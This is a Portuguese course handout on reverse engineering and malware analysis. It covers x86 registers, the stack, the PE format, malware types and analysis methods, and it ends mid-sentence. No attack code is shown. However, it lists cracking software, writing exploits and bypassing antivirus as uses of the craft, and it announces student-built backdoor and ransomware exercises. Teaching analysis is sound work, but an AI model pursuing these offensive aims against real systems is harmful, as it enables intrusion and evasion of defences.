Pós Graduação EAD Em Ethical Hacking e
CyberSecurity
Introdução à
Engenharia Reversa
E
Análise de Malware
Prof. Engenheiro Diego Kiyoshi Maeoka
SUMÁRIO
Apresentação Inicial ...............................................................................................................6
Capítulo 1 .................................................................................................................................7
Introdução.............................................................................................................................7
Sobre Engenharia Reversa ...............................................................................................7
Estruturas de Software .......................................................................................................8
Camadas de Abstração ..................................................................................................8
Arquitetura de Computadores ...........................................................................................9
Memória Principal..............................................................................................................10
Instruções .......................................................................................................................11
Opcodes..........................................................................................................................12
Operandos ......................................................................................................................12
Registradores.................................................................................................................13
Registradores de uso geral......................................................................................13
Registradores de Segmento ....................................................................................14
Registradores Apontadores .....................................................................................14
Registradores de Status...........................................................................................15
Pilha.................................................................................................................................15
Implementação de Pilha ...........................................................................................15
Arquivo PE..........................................................................................................................16
Layout do Arquivo PE ...................................................................................................17
Cabeçalho MZ do DOS ............................................................................................17
Fragmento (stub)do DOS .........................................................................................17
Cabeçalho do Arquivo ..............................................................................................18
Cabeçalho Opcional .................................................................................................18
Cabeçalho de Seções ..............................................................................................18
Seções ........................................................................................................................19
Seção de Código (CODE/TEXT) ........................................................................19
Seção de Dados (DATA) .....................................................................................19
Seção de Recursos (RSRC)................................................................................19
Seção de exportação (EDATA) ...........................................................................20
Seção de importação (IDATA) ............................................................................20
Seção de debug (DEBUG) ..................................................................................20
Sugestões de Livros .........................................................................................................21
Referências ........................................................................................................................21
Capítulo 2 ...............................................................................................................................22
Introdução...........................................................................................................................22
Arquivos ..............................................................................................................................22
Execução de Aplicativos ..................................................................................................22
Anéis de Processamento .............................................................................................22
Lógica de execução ......................................................................................................23
Ferramentas para análise ................................................................................................23
Debugger ........................................................................................................................23
OllyDGB ......................................................................................................................24
Sugestões de Livros .........................................................................................................24
Referências ........................................................................................................................24
Capítulo 3 ...............................................................................................................................25
Introdução...........................................................................................................................25
O que é um Malware ........................................................................................................25
Tipos de Malware ..........................................................................................................25
Vírus ............................................................................................................................25
Worm ...........................................................................................................................25
Trojan ..........................................................................................................................26
Trojan-Downloader....................................................................................................26
Trojan-Banker ............................................................................................................26
Backdoor.....................................................................................................................26
Bot/Botnet ...................................................................................................................26
Rootkit .........................................................................................................................27
PhishingScam ............................................................................................................27
Análise de Malware ...........................................................................................................27
Tipos de Análise ............................................................................................................28
Análise Estática .........................................................................................................28
Análise Dinâmica.......................................................................................................28
Ferramentas para Análise ...........................................................................................28
NMAP ..........................................................................................................................28
Wireshark....................................................................................................................28
Process Explorer .......................................................................................................28
TCP View ....................................................................................................................28
WXHexEditor..............................................................................................................29
FileGrab ......................................................................................................................29
DiE ...............................................................................................................................29
FTK Imager ................................................................................................................29
API Monitor.................................................................................................................29
RegShot ......................................................................................................................29
Sandbox ......................................................................................................................29
Métodos de ofuscação .....................................................................................................30
Packer .............................................................................................................................30
Encriptadores .................................................................................................................30
Binders ............................................................................................................................30
AntiVM e AntiSandbox .................................................................................................31
Sugestões de Livros .........................................................................................................34
Referências ........................................................................................................................34
Capítulo 4 ...............................................................................................................................35
Introdução...........................................................................................................................35
O que é um ransomware .................................................................................................35
História dos Ransomwares ..............................................................................................35
Vetores de Entrada ...........................................................................................................36
Tipos de Ransomware .....................................................................................................37
Scareware ......................................................................................................................37
Bloqueados de Tela ......................................................................................................37
Encriptadores de Arquivos ...........................................................................................37
Sistemas Apple ..................................................................................................................38
Sistemas Android ..............................................................................................................38
Hidden Tear........................................................................................................................38
Sugestões de Livros .........................................................................................................39
Referências ........................................................................................................................39
Capítulo de Apoio ..................................................................................................................40
Lista de Programas ...........................................................................................................40
Linux ................................................................................................................................40
Windows .........................................................................................................................40
Fontes .................................................................................................................................42
SomaDoQuadrado.c .....................................................................................................42
Downloader.VBS ...........................................................................................................43
STACK.c .........................................................................................................................44
HEAP.c............................................................................................................................44
HELLOWORLD.c ..........................................................................................................44
Implementação da Backdoor...........................................................................................45
Conclusão...............................................................................................................................48
Apresentação Inicial
Seja bem vindo ao curso Introdução à Engenharia Reversa e Análise de
Malware.
Eu sou o professor Diego Kiyoshi Maeoka, Engenheiro da Computação
formado na cidade de Londrina-PR pela Universidade Norte do Paraná, UNOPAR, e
MBA em Gestão de TI também pela UNOPAR. Estarei ao longo deste curso dividindo
conhecimentos e experiências com vocês adquiridos ao longo dos anos atuando no
mercado de TI nas áreas infraestrutura de redes, gestão de projetos e segurança de
dados, atuações estas que me renderam algumas certificações ligadas ao mercado
de anti-malwares como a TCSM (Trendmicro Certified Security Master), Bitdefender
Cloud Security Certified, além das certificações LPIC-1, Microsoft MCP, Fortinet
NSE3.
Nosso curso tem como objetivo apresentar ao aluno todos os conceitos
necessários para tenha uma sólida base que lhe permita se aprofundar na ciência da
engenharia reversa, e também executar análises de malware.
Ao longo do curso, o aluno terá contato com diversas ferramentas de análise,
tais como debuggers, packers, decriptadores, capturadores de pacotes de redes,
analisadores de arquivos PE, IDEs de programação e monitores de atividades
rodando em plataformas Windows e Linux que serão utilizados para a execução de
análises estáticas e dinâmicas.
Além das ferramentas citadas, para ajudar na compreensão do conteúdo, o
aluno fará a implementação de uma backdoor e um ransomware para que ambos
sejam devidamente analisados.
Capítulo 1
Introdução
Neste capítulo, estudaremos as definições do que é engenharia reversa e
quais são suas utilidades, estruturas de software, camadas de abstração de software,
arquitetura computacional e o funcionamento de memória, incluindo suas instruções,
opcodes e pilha.
Sobre Engenharia Reversa
Podemos definir engenharia reversa como o ato de desmontar um determinado
dispositivo para entender seu funcionamento.
Técnicas de engenharia reversa vem sendo utilizadas ao longo da história
principalmente na indústria bélica, onde podemos citar por exemplo a Operação
Diamante, executada durante a Guerra Fria pelo Mossad, o serviço de inteligência de
Israel, com o objetivo de adquirir um caça MiG-21 soviético, na época considerada a
aeronave de guerra mais avançada do arsenal soviético.
A operação levou cerca de 3 anos para ser concluída, tendo iniciado em
meados de 1963 e terminado em 1966, quando um piloto assírio desertor, chamado
Munir Redfa, entregou um caça para as forças de Israel.
Americanos e
Israelenses estudaram a aeronave,
entendendo
seu
funcionamento, fraquezas e pontos fortes, como resultado, a aplicação dos
conhecimentos adquiridos, foram fundamentais para garantir a superioridade aérea
das forças de Israel sobre as forças árabes durante a Guerra dos Seis Dias.
Outro caso famoso do uso de engenharia reversa, dentro do mercado de
computadores, é o caso da AMD, que em 1975 conseguiu fazer uma cópia exata do
Intel 8080 através da análise dos processadores da sua concorrente. Fato esse que
se repetiu por anos, sendo que a cada processador lançado pelo Intel a AMD lançava
seu equivalente, como o Am286 que era idêntico ao Intel 80286; ou o Am386 que era
idêntico ao 80386.
Em nossos estudos, aplicaremos a engenharia reversa com o objetivo de
entender como um trecho de código funciona, sem possuirmos seu código fonte.
Através do emprego de técnicas de engenharia reversa, é possível alcançar
objetivos como:

Crackear um programa;

Criar cheats;

Debugar um programa para achar onde está dando erro;

Criar exploits;

Criação de softwares seguros;

Bypass em antivírus e firewall;

Análise de malware;

Entender o funcionamento de determinado software.
Estruturas de Software
No início da computação os programadores de software deveriam conhecer
todos os mecanismos internos do ambiente onde seus programas seriam executados,
incluindo gerenciamento de memória, funcionamento da CPU, linguagem de máquina
e muitos outros tópicos. Ao longo do tempo, até chegar aos dias atuais, foram criadas
diversas camadas de abstrações no desenvolvimento de software possibilitando ao
programador desenvolver sem a necessidade do conhecimento profundo de sistemas
computacionais, precisando somente entender as linguagens de programação de alto
nível que informam ao computador o que fazer.
Camadas de Abstração
Tradicionalmente um computador pode ser representado através de inúmeros
níveis de abstração (camadas) que tem como função ocultar os detalhes de
implementação do código, um exemplo do emprego destas camadas, é o fato de que
podemos executar o sistema operacional Microsoft Windows em diferentes tipos de
hardware, e isso deve-se ao fato de da camada de hardware ser abstraída do sistema
operacional.
Dentre as camadas de abstração, podemos destacar:

Hardware: Único nível físico, composto por circuitos elétricos que
implementam complexas combinações de operadores lógicos como o
XOR, AND, OR e NOT, e tem como uma de suas principais
características o fato de não poder ser facilmente manipulado por
software.

Microcódigo: Também conhecido como firmware. Opera somente no
exato circuito para o qual foi projetado.

Código de máquina: composto por opcodes, que são dígitos
hexadecimais que dizem ao processador que tarefas ele deve executar.
O Código de máquina é criado após a compilação de um software
escrito em linguagem de alto-nível;

Linguagens de baixo-nível: Versão amigável aos humanos do conjunto
de instruções da arquitetura do computador.

Linguagens de alto-nível: Fornecem forte abstração do nível de máquina
e facilitam o uso de lógica de programação e mecanismos de controle
de fluxo. Linguagens de alto-nível incluem C, C++, Visual Basic, Pascal
e outras.
A figura 1 mostra um modelo simplificado de 3 níveis de código, onde temos o
temos o Código em linguagem de alto nível, ou seja, o código fonte propriamente dito,
em seguida esse código é transformado em linguagem de máquina após passar por
um compilador, sendo que podemos ver na imagem suas linhas em hexadecimal,
utilizado para enviar as instruções ao processador e por ultimo, fazendo o uso de um
disassembler, temos o Código em linguagem de baixo nível, onde os hexadecimais
já foram convertidos para uma linguagem mais próxima da humana;
Figura 1
Arquitetura de Computadores
Tomando como padrão a arquitetura x86, verificaremos que a maioria dos
computadores seguem como base o Modelo de Von Neumann.
O modelo de Von Neumann é composto por três componentes de hardware,
sendo eles:

Unidade Central de Processamento (CPU): responsável pela execução
dos códigos;

Memória Principal: responsável pelo armazenamento de dados e
códigos;

Dispositivos de Entrada e Saída: responsável pela interação com o
usuário do computador.
Na Figura 2, podemos ver um detalhamento da arquitetura de Von Neumman,
onde no interior da CPU podemos identificar os seguintes componentes:

Unidade de Controle: Coordena a execução de instruções vindas da
memória RAM, através de um registrador (o instruction pointer, EIP) que
armazena o endereço da instrução a ser executada. Ela também envia
resultados da ALU para a RAM.

Registradores: unidades de armazenamento básicas da CPU e são
frequentemente utilizados para poupar tempo, assim a CPU não precisa
acessar a RAM.

Unidade Lógica e Aritmética: executa uma instrução trazida da RAM e
coloca os resultados nos registradores ou na própria RAM.
Figura 2
Memória Principal
A figura 3 mostra a memória principal e a forma como é dividida durante a
execução de um programa, sendo que podemos definir 4 segmentos:

Dados: ou Data section, que contém dados que são carregados na
memória assim que o programa é executado. Esses valores às vezes
são chamados de dados estáticos porque eles não mudam enquanto o
programa está rodando, ou também podem ser chamados de dados
globais porque estão disponíveis para qualquer parte do programa;

Código: Instruções que são trazidas pela CPU para executar as tarefas
do programa. Controla o que o programa faz e como as tarefas do
programa serão coordenadas;

Heap: Memória dinâmica durante a execução do programa, criar
(alocar) novos dados e eliminar (free) dados que o programa não mais
precisa;

Stack: (pilha) é utilizada para variáveis locais e parâmetros de funções,
e ajuda no controle do fluxo do programa.
Figura 3
Instruções
As Instruções são os blocos que constroem os programas. Seguindo o padrão
Assembly x86, uma instrução é composta de um mnemônico e zero ou mais
operandos, o mnemônico por sua vez, é uma palavra que identifica a instrução a ser
executada, como por exemplo MOV, que movem dados e os operandos são utilizados
para identificar informações usadas pela instrução, como por exemplo um registrador
ou valor.
Na Tabela 1, temos um exemplo de instrução, com seus mnemônicos e
operandos.
MNEUMÔNICO
MNEUMÔNICO
MNEUMÔNICO
MOV
ECX
0x42
Tabela 1
Opcodes
Cada instrução corresponde a um opcode que define para a CPU qual
operação realizar.
Através de disassemblers, podemos traduzir os opcodes de forma legível para
humanos, sendo assim muito úteis no processo de engenharia reversa de um
executável.
Na Tabela 2 temos os opcodes para a instrução “MOV ECX, 0x42”, que são
“B9 42 00 00 00”, sendo que o valor 0xB9 corresponde ao “MOV ECX,” e
“0x42000000” corresponde ao valor 0x42.
INSTRUÇÃO
MOV ECX
0x42
OPCODES
B9
42 00 00 00
Tabela 2
O valor 0x42000000 é tratado como o valor 0x42 pois a arquitetura x86 usa o
formato little-endian. A endianness (ordem dos bytes) dos dados descreve se o Byte
mais significativo (big-endian) ou o menos significativo (little-endian) é ordenado
primeiro, no endereço mais baixo da memória. Por exemplo, o endereço de rede
127.0.0.1 será́ representado como 0x7F000001 em big-endian (na rede) 0x0100007F
em little-endian (na memória).
Operandos
Os operandos são utilizados para identificar os dados usados por uma
instrução. Três tipos de operandos podem ser usados:

Imediatos: operandos que possuem valor fixo, como por exemplo 0x42;

Registradores: operandos que se referem aos registradores da CPU,
como por exemplo ECX;

Endereços de memória: operando que fazem referência a endereços da
memoria que contenham um valor de interesse, tipicamente denotados
por um valor, registro ou equação entre colchetes, como exemplos
[0xFFFFFFAA], [ECX] e [ECX+0x08].
Registradores
Registradores são o menor local de armazenamento de dados disponível para
a CPU, podendo ser acessados mais rapidamente do que qualquer outro tipo de
armazenamento.
Os
processadores
x86
possuem
diversos
registradores
disponíveis,
organizados por categorias, tais como:

Registradores de uso geral;

Registradores de segmento;

Registradores apontadores;

Registradores de status;
Registradores de uso geral
Os registradores de uso geral, como o próprio nome sugere, são utilizados
para quase tudo, como manipulação de dados, cálculos, contagem, armazenamento,
ponteiros, etc.
São registradores de 32 bits, e podem ser divididos em registradores menores,
com o tamanho de 16 bits, que por sua vez podem novamente ser divididos em
registradores menores, desta vez com 8 bits, como mostra a Figura 4.
Figura 4
Registradores de Segmento
Os registradores de segmento são menores do que os registradores de uso
geral, isso por que tem uma função mais limitada, basicamente eles são utilizados
para acessar um segmento específico de memória.
Os registradores de segmento estão listados abaixo na Tabela 3.
Registrador
Segmento
CS
Code segment
Descrição
O registrador Segmento de Código é utilizado para apontar para
uma área de memória que contém o código de programa que está
em execução.
DS
Data segment
O registrador Segmento de Dados é utilizado para apontar para um
segmento de memória que estiver sendo utilizada no
armazenamento de dados do programa em execução.
SS
Stack segment
O registrador Segmento de Pilha é utilizado para identificar o
segmento que será utilizado como pilha (stack), com o objetivo de
armazenar os dados temporários do programa em execução.
ES
Extra segment
O registrador Segmento Extra é utilizado para determinar um
segmento extra de dados, distante da área em que se está
trabalhando. Normalmente é usado para acessar a memória de
vídeo.
FS
Extra segment
GS
Extra segment
Mais um segmento extra de dados.
Idem.
Tabela 3
Registradores Apontadores
Também chamados de registradores de deslocamento, ou de índice, indicam
um determinado deslocamento (offset) baseado no seu registrador de segmento
correspondente.
Na tabela 4 temos os registradores apontadores utilizados.
Registrador
Nome
Descrição
SI
Source Index
Esse registrador é utilizado como fonte em manipulação de string.
DI
Destination Index
Esse registrador é utilizado como destino em manipulação de string.
BP
Base Pointer
Esse registrador aponta para a base da pilha.
SP
Stack Pointer
Esse aponta para o topo da pilha.
IP
Instruction Pointer
O Apontador de Instrução possui o valor de deslocamento da próxima
instrução. Ele é de uso interno do processador, por isso seu valor não
pode ser alterado, apenas lido.
Tabela 4
Registradores de Status
Funcionam como um sinalizador para o processador verificar como ele deve
efetuar determinada tarefa, possuem 32 bits, sendo que cada bit serve para uma
função diferente e podem ser setados (1) ou não (0).
Na Figura 5 temos a lista dos registradores de Status e suas respectivas
posições.
Figura 5
Pilha
A pilha é uma estrutura de dados caracterizada pelo uso de instruções de
PUSH (empilha) e POP (desempilha), em uma estrutura LIFO last in, first out),
utilizada para armazenar funções, variáveis locais e controle do programa.
Implementação de Pilha
Uma das formas mais comuns de implementação de pilha, é a chamada pilha
CDECL,
que segue a seguinte convenção:
1. As instruções PUSH colocam argumentos na pilha;
2. A função é chamada com “CALL + endereço de memória”, fazendo com
que o endereço da instrução atual (conteúdo do registrador EIP) seja
colocado na pilha.
3. Com o uso do prólogo da função (function prologue), o espaço é alocado
na pilha para variáveis locais e o EBP (base pointer) é colocado na pilha.
Isso é feito para salvar o EBP para o código principal que chamou a
função. Como estamos usando uma chamada de função, a execução
será transferida para esta função temporariamente, e este endereço
utilizado juntamente com o CALL será usado para retornar ao código
principalmente quando a função for finalizada;
4. Funções executam suas tarefas;
5. Através do uso do epílogo a pilha é restaurada. O ESP (Stack Pointer)
é ajustado para liberar o espaço utilizado pelas variáveis locais e o EBP
(Base Pointer) também é restaurado, desta forma, o código que chamou
a função pode referenciar suas variáveis corretamente. Em alguns
casos a instrução LEAVE pode ser utilizada como um epílogo porque
ela atribui ao ESP o valor do EBP e retira o EBP da pilha. Epílogo da
função restaura a pilha;
6. A função retorna chamando a instrução RET, que retira o valor de
retorno da pilha e coloca no EIP, dessa forma o programa continua sua
execução do local original onde a função foi chamada.
7. A pilha é ajustada para remover os argumentos que foram enviados, a
menos que eles sejam utilizados novamente mais tarde.
Arquivo PE
O formato PE é basicamente uma estrutura padrão de armazenamento de
dados de arquivos onde estão encapsuladas todas as informações necessárias ao
sistema operacional (system loader) para sua leitura e execução, tais como código,
dados inicializados, dados não inicializados, etc. Este formato foi desenvolvido pela
Microsoft, e padronizado em 1993 pelo Comitê de Padrões de Interfaces de
Ferramentas (Tool Interface Standard Committee), que era formado pela Microsoft,
Intel, Borland, Watcom, IBM, entre outras, sendo que sua denominação vem da ideia
de um padrão estabelecido pela Microsoft nos primórdios do Windows, onde
decidiram criar um formato de binário capaz de rodar em qualquer outra versão do
Windows. Teoricamente eles conseguiram, pois o formato do arquivo permaneceu
inalterado desde o Windows 95.
Apesar de ser mais popularmente conhecido como sendo o formato dos
arquivos EXE, é também o formato dos arquivos DLL, OCX, CPL e SYS, o formato
CPL inclusive já foi muito utilizado para Malwares;
Layout do Arquivo PE
Na Figura 6 temos o desenho do Layout de um Arquivo PR, onde constam
seus cabeçalhos e seções, sendo eles:

Cabeçalho MZ do DOS;

Fragmento (stub) do DOS;

Cabeçalho do Arquivo;

Cabeçalho Opcional;
o Diretório de Dados;

Cabeçalho de seções;
o Seções.
Figura 6
Cabeçalho MZ do DOS
Os primeiros dois bytes de um arquivo, são sempre sua assinatura, que no
caso de arquivos PE serão, sempre formada pelos caracteres “MZ”, que são uma
referência ao nome de Mark Zbikowski, um dos principais desenvolvedores do MSDOS.
Fragmento (stub)do DOS
Formado por 64 Bytes, divididos em instruções de máquina e um texto, é um
executável embutido no cabeçalho PE, que é chamado caso o arquivo PE não possa
ser executado.
Ao carregar o programa na memória, verifica o sistema é compatível, e caso
não for, utiliza esta seção para exibir a mensagem de erro.
Cabeçalho do Arquivo
Este cabeçalho é composto por componentes que definem informações como:

Em que tipo de máquina o executável deve rodar;

O número de seções que contém;

Horário em que foi linkado.
Além disso, as informações deste cabeçalho informam se o arquivo é um
executável ou DLL, em nosso caso, a diferença entre um executável e uma DLL é
que uma DLL não pode ser iniciada, podendo somente ser utilizada por outro binário
enquanto um binário não pode ser linkado a um executável.
Cabeçalho Opcional
Apesar do nome, o cabeçalho opcional está sempre presente e indica detalhes
de como o binário deve ser carregado, tais como:

O endereço inicial;

Quantidade reservada para a pilha (stack);

Tamanho do segmento de dados.
Ainda dentro do cabeçalho opcional temos o array indicativo dos diretórios de
dados (data directories), estes diretórios contêm ponteiros para os dados existentes
nas seções (sections), por exemplo, se um binário tiver um diretório de exportação
(export directory), existirá um ponteiro para este diretório no array, sob a denominação
IMAGE_DIRECTORY_ENTRY_EXPORT, que apontará para uma das seções.
Cabeçalho de Seções
Os componentes do cabeçalho de seções são os componentes realmente
necessários para executar um programa.
Cada seção possui algumas flags sobre alinhamento, o tipo de dados que
contém, se pode ser compartilhada, além dos dados propriamente ditos.
Seções
Um arquivo PE pode conter infinitas seções, porém algumas delas são
consideradas oficiais, estando presentes na maioria dos executáveis, sendo elas:

Seção de Código (CODE/TEXT)

Seção de Dados (DATA)

Seção de Recursos (RSRC)

Seção de exportação (EDATA)

Seção de importação (IDATA)

Seção de debug (DEBUG)
Seção de Código (CODE/TEXT)
Esta seção contém o código compilado do aplicativo contendo todas as
instruções em Assembly, sendo que qualquer alteração feita no código de um
aplicativo vai resultar numa mudança dos dados presentes nesta seção.
Seção de Dados (DATA)
Essa seção pode ser subdivida em 3 outras seções, sendo elas:

BSS: Contém todas as variáveis não inicializadas (sem um valor
definido) do aplicativo.

RDATA: Dados de somente leitura. Podem ser strings, constantes ou
até mesmo dados da Import Table.

DATA: Todas as outras variáveis que não se encaixam em nenhuma
das duas outras seções
Seção de Recursos (RSRC)
Esse trecho é utilizado para armazenar qualquer outro tipo de dado dentro de
um executável. Nela ficam armazenados os ícones, imagens, disposição dos itens na
janela, menus, etc.
Esta seção possui uma característica um pouco diferente das demais seções,
pois possui uma outra subdivisão interna, separando cada recurso.
Seção de exportação (EDATA)
Armazena o diretório de exportação, contendo informações sobre os nomes e
endereços das funções contidas em uma DLL.
Os arquivos DLL podem ser definidos por 2 tipos de funções: as internas e
externas. As externas podem ser chamadas por qualquer outro módulo, enquanto as
funções internas ficam restritas ao módulo “dono” da mesma.
As DLLs nos dão a possibilidade de “modularizar” aplicativos, contendo
funções genéricas que podem ser utilizadas por qualquer programa.
Seção de importação (IDATA)
Esta seção funciona de forma semelhante a anterior, porém, ao invés de ser
voltada para os arquivos DLL, a seção de importação tem a finalidade de montar um
bando de dados de todas as funções utilizadas por um executável, tais como o
endereço e as características de cada rotina importada.
De maneira resumida, podemos definir que a seção de exportação “fornece”
funções para o uso e a de importação “busca” essas funções exportadas.
Seção de debug (DEBUG)
Esta seção está presente normalmente nas compilações de aplicativos em
estágio de desenvolvimento, essa seção contém dados úteis para o programador,
que podem o auxiliar no tratamento de erros.
Sugestões de Livros

The Art of Assembly Language Programming (AoA) - Randy Hyde
Referências

Manuais Intel (Basic Architecture, Instruction Set Reference e System
Programing Guide)
o https://www.intel.com/content/dam/www/public/us/en/documents
/manuals/64-ia-32-architectures-software-developer-instructionset-reference-manual-325383.pdf

Windows Portable Executable
o https://www.devmedia.com.br/windows-portable-executable/857

Formato PE
o http://numaboa.com.br/informatica/oraculo/formatopadrao/1096-formato-pe

Estrutura e Funcionamento de um Executável
o http://www.fergonez.net/files/tut_win32_exe.pdf

Estude binários de Windows com o novo pev
o https://www.mentebinaria.com.br/artigos/estudebin%C3%A1rios-de-windows-com-o-novo-pev-r18/
Capítulo 2
Introdução
Neste capítulo, estudaremos sobre as definições e formas de identificação de
um arquivo, anéis de processamento, lógica de execução e ferramentas de análise.
Arquivos
Podemos considerar que qualquer sequencia de dados binários, gravados em
um local de nosso computador é um arquivo, independente de seu tipo, sendo que
seu tipo será definido através de seus cabeçalhos e estruturas do mesmo, ou seja, a
tipagem de um arquivo via além do conceito de extensões ao qual normalmente
somos apresentados no início dos estudos na área da informática, e é por este motivo
que mesmo trocando a extensão de um arquivo, ferramentas de prevenção à roubos
de dados (DLP) conseguem identificar o tipo do arquivo.
As informações como a data de modificação, acesso e criação do arquivo,
conhecidos como MAC Times, bem como todas as demais informações sobre o
mesmo contidas em seus metadados, não fazem parte do arquivo em si, para
armazenar estas informações, todo arquivo tem uma referência no file system do
sistema operacional onde encontram-se seus metadados, no caso do sistema
operacional Linux, ficam armazenados nos iNodes, e no caso do sistema operacional
Windows, ficam armazenadas nos registros.
Execução de Aplicativos
Anéis de Processamento
Dentro da plataforma x86, temos um sistema de domínios de proteção
hierárquica, também de chamado de Protection Rings, ou Anéis de Processamento,
este modelo oferece 4 anéis de processamento, sendo que somente os anéis 0 e 3
são usados pelo sistema operacional;
Na Figura 6 temos a representação dos 4 anéis de processamento, sendo eles:

0 – Kernel: considerado o nível mais elevado de todos;

1 – Device Drivers: nível de drivers de dispositivos;

2 – Device Drivers: idem;

3 – Applications: também chamado de nível de usuário e considera do
menos privilegiado.
Figura 6
Dentro da área de análise de malware, um segmento da Engenharia Reversa,
este conhecimento sobre os anéis de processamento é de grande importância, uma
vez que alguns malwares possuem instruções para tentar executar suas rotinas no
RING 0, tendo assim privilégios mais altos do que teriam no RING 3 onde
normalmente seriam executados.
Lógica de execução
Tomando por base o sistema operacional Linux, na Figura 7 temos a ilustração
do processo de execução de um arquivo binário, onde o mesmo inicia-se na área
denominada de User Land, ou RING 3, após sua execução, o arquivo binário
precisará de intermediários para acessar o Kernel, RING 0, estes intermediários são
chamados de SYSCALLS, e são responsáveis por enviar as informação do nível do
usuário para o nível do Kernel e podem ser visualizadas no Linux utilizando o
comando STRACE juntamente com a execução do binário.
Figura 7
Ferramentas para análise
Debugger
Um debugger, ou depurador, é um software criado para testar outros
softwares, com o principal objetivo de encontrar defeitos no mesmo. Normalmente
oferecem funcionalidades mais sofisticadas, tais como:

Execução passo-a-passo de um programa;

Suspensão do programa para examinar seu estado atual, em pontos
predefinidos (breakpoint);

Acompanhamento do valor de variáveis.
OllyDGB
Desenvolvido por Oleh Yuschuk, o Olly é provavelmente o debugger para
Windows mais famoso do mundo. Deixou de ser desenvolvido e não há mais
atualizações desde 2013, mas ainda sim tem recursos incríveis como unpacking
automático de módulos SFX, tracing e um excelente suporte a plugins.
O OllyDBG pode ser obtido no endereço abaixo e não precisa ser instalado,
basta descompactar o arquivo e executá-lo como administrador:
http://www.ollydbg.de/
Sugestões de Livros

Practical Malware Analysis: The Hands-On Guide to Dissecting
Malicious Software - Michael Sikorski (Autor), Andrew Honig (Autor)

Practical Malware Analysis: The Hands-On Guide to Dissecting
Malicious Software - Michael Sikorski (Autor), Andrew Honig (Autor)
Referências

Papo Binário - Arquivos
o https://www.youtube.com/watch?v=4ElFuL1PgoE&feature=yout
u.be

Aldeia Numaboa - O formato PE
o http://www.numaboa.com.br/informatica/oraculo/formatopadrao/1096-formato-pe
Capítulo 3
Introdução
Neste capítulo iniciaremos nossos estudos focados na análise de malware, e
estudaremos sobre as definições de Malware e suas formas, além disso abordaremos
também o que é a Análise de Malware, e as ferramentas mais comuns em sua prática.
Estudaremos neste capítulo também sobre os métodos utilizados pelos
malwares para ofuscarem seus códigos.
O que é um Malware
O nome Malware é uma referência ao termo Malicious Software, que significa,
Software Malicioso, trata-se de um termo genérico que abrange todos os tipos de
programas especificamente desenvolvidos para executar ações maliciosas em um
computador. Exemplos:

Vírus de computador;

Worms;

Trojan;

Spywares.
Tipos de Malware
Vírus
Age se anexando a um programa hospedeiro já existente. Altera o começo do
programa para executar o código malicioso que foi inserido no programa original.
Infecta outros arquivos, inclusive através de compartilhamento de rede e pode
criar novos executáveis.
É considerado o tipo mais antigo de malware e tem se tornado menos popular
nos dias atuais, porem as vezes o termo ainda é utilizado de forma genérica para
descrever todos os tipos de malwares.
Geralmente dependem da ação do usuário para se tornarem ativos e
infectarem outros computadores, diferente da maioria dos malwares atuais que
utilizam Internet ou a rede local para se replicarem.
Worm
Similar ao vírus, porem com a característica de se auto replicarem pela rede
sem interação do usuário, para isso, exploram vulnerabilidades do sistema
operacional e outros softwares. Esta característica, os torna capazes de se
propagarem de forma incontrolável em um curto período do tempo.
Trojan
Também chamado de Cavalo de Troia, leva este nome em referência a
mitologia grega, onde durante a Guerra de Tróia, os gregos construíram uma grande
estatua de um cavalo e a deixaram nos portões de Tróia, a estatua estava cheia de
soldados gregos em seu interior, que durante a noite, após os troianos a colocarem
para dentro da cidade acreditando ser um presente, abriram os portões da cidade
possibilitando entrada dos demais soldados gregos e a dominação de Troia.
Agindo de forma semelhante, um trojan é um programa que se passa por um
aplicativo ou arquivo legítimo (vídeos, fotos, jogos, etc.), mas que além de executar
funções para as quais foi aparentemente projetado, também executa outras funções
normalmente maliciosas e sem o conhecimento do usuário.
Trojan-Downloader
Tipo de Trojan com objetivo específico de fazer download de outros códigos
maliciosos.
Downloaders, ou Loaders geralmente são instalados pelos atacantes quando
eles obtêm acesso ao sistema pela primeira vez. O downloader irá baixar e instalar
outros malwares automaticamente.
Trojan-Banker
Tipo de Trojan é muito comum no Brasil, sendo que cerca de 95% dos
malwares produzidos no país são desse tipo.
Tem como objetivo furtar dados de acesso aos sistemas de Internet Banking.
Backdoor
Código malicioso que se instala no computador para permitir o acesso remoto.
Permite conexão e execução de comando no computador infectado sem que o
usuário tenha conhecimento.
Bot/Botnet
Possui funcionamento similar ao backdoor permitindo conexão remota ao
computador infectado, porem com o objetivo de conectar o computador a um servidor
de comando-e-controle (Command-and-Control, C&C ou C2). O servidor C&C por usa
vez, é capaz de enviar instruções para toda a rede de computadores infectados com
os bots para realizem determinadas atividades, como por exemplo, captura de teclas
digitadas, acesso em determinados sites visando sua sobrecarga (DDoS), instalação
de malwares adicionais, etc.
Rootkit
Malware criado com o objetivo de ocultar sua presença e de outros códigos
maliciosos no sistema operacional. Utiliza-se de técnicas avançadas para dificultar a
detecção por parte do usuário, geralmente faz isso alterando funções internas do
sistema operacional, normalmente, buscando uma forma de sua execução ser
processada no RING 0 ao invés do RING 3 como seria feita originalmente.
PhishingScam
Seu uso normalmente está ligado a golpes que utilizam de engenharia social.
Costumam atuar com o envio de mensagem não solicitado (spam) para se
passar por uma instituição legítima, tais como bancos, empresas, lojas online, etc, de
forma a induzir o usuário a acessar paginas falsas ou instalar códigos maliciosos.
Análise de Malware
A Análise de Malware pode ser definida como a análise de códigos maliciosos
com o objetivo de descobrir o seu comportamento e/ou funcionamento. Ela está
diretamente ligada a engenharia reversa, principalmente na área de análise de
código.
Através do estudo de um código malicioso podemos:

Criar assinaturas e outras formas de detecção e remoção usadas pelo
antivírus;

Verificar se um arquivo é ou não malicioso antes de executa-lo;

Verificar se uma página/e-mail é ou não malicioso antes de acessa-lo;

Prevenir e reagir a uma contaminação por malware;

Utilizar em uma análise forense.
Durante uma análise de malware, o analista deve procurar responder algumas
questões, tais como:

Qual é a natureza e a finalidade do programa?

Como funciona o programa para cumprir a sua finalidade?

Como funciona o programa ao interagir com o sistema vítima?

Como o programa interage com a rede?

O que o programa sugere sobre o nível de sofisticação do atacante?

Há um vetor de ataque identificável que o programa usa para infectar
um hospedeiro?

Qual é a extensão da infecção ou comprometimento do sistema ou
rede?
Tipos de Análise
Análise Estática
Nesta modalidade de análise, um artefato malicioso é analisado sem executálo.
É feita com base na observação de seu código com ajuda de disassemblers,
debuggers, descompiladores e utilizando técnicas de engenharia reversa;
Exige do analista um conhecimento maior dos formatos de arquivos
envolvidos, do funcionamento interno do sistema operacional e da linguagem
assembly.
Análise Dinâmica
Esta modalidade de análise envolve a execução do malware em um ambiente
controlado, utilizando ferramentas de monitoramento para capturar as interações que
ele realiza com o sistema operacional e ambiente de rede.
Também chamada de análise comportamental e pode ser facilmente
